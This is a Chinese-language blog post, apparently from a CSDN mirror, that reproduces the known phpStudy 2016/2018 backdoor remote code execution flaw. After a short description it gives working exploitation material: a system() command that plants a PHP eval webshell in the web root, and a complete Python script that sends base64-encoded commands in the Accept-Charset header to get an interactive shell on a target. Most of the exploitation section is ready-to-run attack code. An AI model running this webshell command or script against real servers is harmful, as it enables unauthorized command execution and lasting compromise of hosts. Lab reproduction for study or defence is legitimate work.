首页 > 编程语言 >phpstudy_2016-2018_rce_backdoor漏洞复现

phpstudy_2016-2018_rce_backdoor漏洞复现

时间:2024-07-31 10:59:01浏览次数:11  
标签:__ 漏洞 cmd phpstudy backdoor 2018 2016

phpstudy_2016-2018_rce_backdoor

说明内容
漏洞编号phpstudy_2016-2018_rce
漏洞名称RCE(Remote Command|Code Execute)
漏洞评级高危
影响范围phpStudy 2016、phpStudy 2018
漏洞描述攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。

漏洞描述

攻击者可以利用该漏洞执行 PHP 命令,也可以称作 phpstudy 后门。RCE(Remote Command| Code Execute)
PHP study 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、Mysql、PhpMyAdmin 等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。其中2016、2018版本的 PHPstudy 存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以执行远程执行系统命令。

漏洞等级

高危

影响版本

后门代码存在于\exp\php_xmlrpc.dll 模块中,至少有2个版本:phpStudy2016 和 phpstudy 2018自带的php-5.2.17、php-5.4.45。

漏洞复现

基础环境

组件版本
OSWindows 2016 Standerd
Web ServerphpStudy 2016(特别版)

漏洞扫描

  • Windows 可以访问server2016

image.png

  • 启动bp工具抓取服务器与浏览器之间的流量。
  • 发送到 Repeater 模块。
    image.png

漏洞验证

触发条件
更改 bp 字体为楷体24pt
image.png

image.png

image.png

image.png

image.png

深度利用

第一种方式:

  • 利用 bp 执行系统命令
    • phpstudy 软件被插入后门,通过 php system函数执行系统命令,所以我们也可以通过system() 函数写入webshell。
 system(' echo ^<?php @eval($_POST["cmd"]); ?^>>C:/phpstudy_2016/WWW/shell.php ');

使用bp编码后进行上传,在网页查看是否上传成功,使用蚁剑进行连接。

image.png
image.png
image.png

第二种方式:

  • 使用 python 脚本,显现命令框控制。
    image.png

  • 安装requests

pip install requests
  • 代码:
import requests
import base64
import sys
 
banner = '''
.---. .-.          .--.  .-.          .-.        .---.  .--.  .--. 
: .; :: :         : .--'.' `.         : :        : .; :: .--': .--'
:  _.': `-. .---. `. `. `. .'.-..-. .-' :.-..-.  :   .': :   : `;  
: :   : .. :: .; ` _`, : : : : :; :' .; :: :; :  : :.`.: :__ : :__ 
:_;   :_;:_;: ._.'`.__.' :_; `.__.'`.__.'`._. ;  :_;:_;`.__.'`.__.'
            : :                           .-. :                    
            :_;                           `._.'                    
                python *.py http://10.4.7.130/phpinfo.php
'''
 
if len(sys.argv) < 2:
    print(banner)
    exit()
 
url = sys.argv[1]
 
def attack(cmd):
    cmd = f"system('{cmd}');"
    cmd = base64.b64encode(cmd.encode())
 
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }
 
    res = requests.get(url = url,headers = headers)
    rs = res.content.decode("gb2312")
    result = rs[0:rs.find("DOCTYPE html")]
    return result
 
if __name__ == '__main__':
    cmd = input("请输入想要执行的系统命令:")
    if cmd == 'q':
        print("感谢使用!!!")
    else:
        print(attack(cmd))

标签:__,漏洞,cmd,phpstudy,backdoor,2018,2016
From: https://blog.csdn.net/weixin_46365325/article/details/140817286

相关文章

  • 类型提示在 pycharm 2018.1 中并不总是有效?
    我今天开始使用类型提示。在阅读了有关类型提示的文档后,我尝试编写一些愚蠢的示例来检查它是如何工作的,但被困在像这样简单的事情上。a:int=7.33我没有收到任何警告或错误。一切都正常,就像我没有使用类型提示一样。我期待一个警告,说浮点数不能分配给intvar。我尝......
  • 题解:P4563 [JXOI2018] 守卫
    思路解法:区间DP。本题虽标上紫题,但黄队说了:“不要被颜色所吓倒。”易得,区间\([l,r]\)中最右端的亭子\(r\)一定会有保镖。先说一下可见性判断吧,只要\(l,r\)的连线的斜率大于\(p,r\)连成的线的斜率大,\(l\)即是可见的。如图,红线是\(r\)无法看到的,而蓝线是\(r\)可......
  • [护网杯 2018]easy_tornado
    [护网杯2018]easy_tornadoStep靶机页面/flag.txt/welcome.txt/hints.txt其中:/flag.txtflagin/fllllllllllllag/hints.txtmd5(cookie_secret+md5(filename))链接url/file?filename=/welcome.txt&filehash=0d57a014b2bc88b9c6f12277495dwww其中filehash则是......
  • CVE-2018-5767 tenda固件栈溢出漏洞
    路由器固件型号:TendaAC1515.03.1.16_multi固件下载地址:https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1binwalk分离binwalk-MeUS-bin漏洞点:在squashfs-root/bin/httpd可以通过readelf-hhttpd来查......
  • ccfcsp 201803.2 碰撞的小球 100分代码
    本题是一道小模拟规模小难度在碰撞检测在写模拟题时的思路应该是先找到应该储存的信息是哪些,抽象出来,应该模拟的方法是哪些。类似oop。includeusingnamespacestd;constintL=1000;structball{intp;chard=1;//只可能为1或-1,表示方向}b[L+1];intmain(){int......
  • 28449-2018 测评过程指南小结
    28449测评过程指南适用于测评机构、定级对象的主管部门及运营使用单位对定级对象安全等级保护状况开展安全测试评价等级测评工作要求:(附录C)1依据标准,遵循原则2恰当选取,保证强度3规范行为,规避风险存在的风险:(标准P1和课本108)1.影响系统正常运行2.泄露敏感信息3.......
  • [CEOI2018] Lottery 题解
    前言题目链接:洛谷。题意简述给出序列\(a_1\ldotsa_n\)和常数\(l\leqn\),定义:\[\operatorname{dis}(i,j)=\sum_{k=0}^{l-1}[a_{i+k}\neqa_{j+k}]\qquad(i,j\in[1,n-l+1])\]每次询问一个\(k\),求对于所有\(i\in[1,n-l+1]\),求\(\sum......
  • 交叉编译ethtool(ubuntu 2018)
    参考文章:https://www.cnblogs.com/nazhen/p/16800427.htmlhttps://blog.csdn.net/weixin_43128044/article/details/1379539131、下载相关安装包//ethtool依赖libmulgitclonehttp://git.netfilter.org/libmnl//ethtool源码gitclonehttp://git.kernel.org/pub/sc......
  • 掌控数据库:在 PHPStudy 中玩转 MySQL 命令行的终极指南
    文章目录引言1.PHPStudy简介理解数据库,表,字段的模型2.打开MySQL命令行2.1启动PHPStudy2.2启动MySQL服务2.3打开命令行2.4登录MySQL3.MySQL基本命令3.1查看(进去)数据库3.2创建数据库3.3使用数据库3.4创建数据表3.5插入数据3.6查询数据(查表)3.7更新数据3.8......
  • P4588 [TJOI2018] 数学计算
    原题链接题解由于模拟会爆longlong,所以用线段树维护每次操作的值,初始每次操作的值均为1操作一令对应节点变为m操作二令对应节点变为1返回整棵树的值(相乘)code#include<bits/stdc++.h>#definelllonglongusingnamespacestd;lltree[400005];llq,mod;voidup......